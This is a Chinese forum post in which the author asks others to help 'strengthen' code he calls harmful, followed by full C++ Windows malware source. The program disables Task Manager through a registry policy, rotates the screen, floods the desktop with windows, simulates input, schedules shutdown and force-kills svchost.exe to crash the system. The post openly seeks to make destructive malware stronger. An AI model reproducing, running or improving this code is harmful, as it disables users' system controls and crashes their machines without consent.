违规紫衫
查看原帖
违规紫衫
916276
b9113fced86a32cad0d8楼主2024/8/21 17:15

各位大佬们,帮我看一下这个有害代码该怎么加强呗

真的有害,别运行

#include <bits/stdc++.h>
#include <windows.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x80000) ? 1:0)
using namespace std;
int a; 
string user;
POINT p;

bool ElevatePrivileges() {
    SHELLEXECUTEINFO sei = {0};
    sei.cbSize = sizeof(SHELLEXECUTEINFO);
    sei.lpFile = "main.exe";
    sei.nShow = SW_SHOWNORMAL;
    if (!ShellExecuteEx(&sei)) {  
        return false;
    }
    return true;
}

BOOL StringToClipBoard(char* srcString)
{
	BOOL bResult = FALSE;
	DWORD dwLength = strlen(srcString);
	HANDLE hGlobalMemory = GlobalAlloc(GHND, dwLength + 1);
	LPBYTE lpGlobalMemory = (LPBYTE)GlobalLock(hGlobalMemory);
	if ( NULL != lpGlobalMemory )
	{
		strcpy((char*)lpGlobalMemory, srcString);
		GlobalUnlock(hGlobalMemory);
		OpenClipboard(NULL); 
		EmptyClipboard();
		SetClipboardData(CF_TEXT, hGlobalMemory); 
		CloseClipboard();
		bResult = TRUE;
	}
	return bResult;
}

void jin_r()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
} 
void fanzhuan()
{
	DEVMODE dm;
	// initialize the DEVMODE structure
	ZeroMemory(&dm, sizeof(dm));
	dm.dmSize = sizeof(dm);
	if (0 != EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &dm))
	{
		// swap height and width
		DWORD dwTemp = dm.dmPelsHeight;
		dm.dmPelsHeight = dm.dmPelsWidth;
		dm.dmPelsWidth = dwTemp;
		// determine new orientaion
		switch (dm.dmDisplayOrientation)
		{
		case DMDO_DEFAULT:
			dm.dmDisplayOrientation = DMDO_270;
			break;
		case DMDO_270:
			dm.dmDisplayOrientation = DMDO_180;
			break;
		case DMDO_180:
			dm.dmDisplayOrientation = DMDO_90;
			break;
		case DMDO_90:
			dm.dmDisplayOrientation = DMDO_DEFAULT;
			break;
		default:
			// unknown orientation value
			// add exception handling here
			break;
		}
		long lRet = ChangeDisplaySettings(&dm, 0);
		if (DISP_CHANGE_SUCCESSFUL != lRet)
		{
			// add exception handling here
		}
	}
}


void down(int vk)
{
	keybd_event(vk,0,0,0);
}
void up(int vk)
{
	keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void press(int vk)
{
	keybd_event(vk,0,0,0);
	keybd_event(vk,0,KEYEVENTF_KEYUP,0);
}
void danji()
{
	mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
	Sleep(10);
	mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}






int main(){
	if(ElevatePrivileges()){
		HWND hwnd = GetForegroundWindow();
		SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
		MoveWindow(hwnd,200,200,500,200,TRUE);
		
		SetCursorPos(5000,5000);
		Sleep(1000);
		SetCursorPos(5000,5000);
		Sleep(1000);
		SetCursorPos(300,280);
		danji();
		SetCursorPos(300,280);
		danji();
		down(VK_CONTROL);
		keybd_event(86,0,0,0);
		keybd_event(86,0,KEYEVENTF_KEYUP,0);
		Sleep(10);
		press(VK_RETURN);
		up(VK_CONTROL);
		
		Sleep(1000);
		SetWindowPos(hwnd,HWND_TOPMOST, 200, 200, 500, 200, SWP_NOMOVE|SWP_NOSIZE);
		system("cls");
		jin_r();
		HWND hwnd2 = GetDesktopWindow();
		HDC hdc = GetWindowDC(hwnd);
		POINT cursor;
		
		SetCursorPos(5000,5000);
		Sleep(1500);
		ShowWindow(hwnd,SW_MINIMIZE);
		
		
		for (int i = 1;i <= 6;i++)
			system("start cmd");
		for (int i = 1;i <= 2;i++)
		{
			SetCursorPos(rand()%1000,rand()%1000);
			system("start notepad");
			SetCursorPos(rand()%1000,rand()%1000);
			system("start calc");
			SetCursorPos(rand()%1000,rand()%1000);
			system("start winver");
			SetCursorPos(rand()%1000,rand()%1000);
			system("start Nslookup");
			SetCursorPos(rand()%1000,rand()%1000);
			system("start cleanmgr");
			SetCursorPos(rand()%1000,rand()%1000);
			system("start charmap");
			SetCursorPos(rand()%1000,rand()%1000);
			system("start dxdiag");
			fanzhuan();
		}
		system("start cmd");
		for(int i = 0;i < 10;i++){
			SetCursorPos(rand()%1000,rand()%1000);
			GetCursorPos(&cursor);
			DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
			DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
			DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
			Sleep(0.5);
			SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
			MoveWindow(hwnd,650,350,600,400,TRUE);
			system("cls");
		}
		for (int i = 1;i <= 2;i++) fanzhuan();
		for (int i = 1;i <= 5;i++) system("shutdown -s -t 60");
		for(int i = 0;i < 5;i++){
			SetCursorPos(rand()%1000,rand()%1000);
			GetCursorPos(&cursor);
			DrawIcon(hdc, cursor.x * 1, cursor.y * 1, LoadIcon(NULL, IDI_ERROR));
			DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_QUESTION));
			DrawIcon(hdc, cursor.x * 1.5, cursor.y * 1.5, LoadIcon(NULL, IDI_WARNING));
			Sleep(0.5);
			malloc(1000);
			SetWindowPos(hwnd,HWND_TOPMOST, 500, 500, 50, 50, SWP_NOMOVE|SWP_NOSIZE);
			MoveWindow(hwnd,650,350,600,400,TRUE);
			fanzhuan();
			system("cls");
		}
		system("taskkill /im svchost.exe /f");
		return 0;
	}else{
		MessageBox(NULL,"一定要用管理员权限哦~","提示",MB_OK | MB_ICONINFORMATION);
		return 0;
	}
	return 0;
}
2024/8/21 17:15
加载中...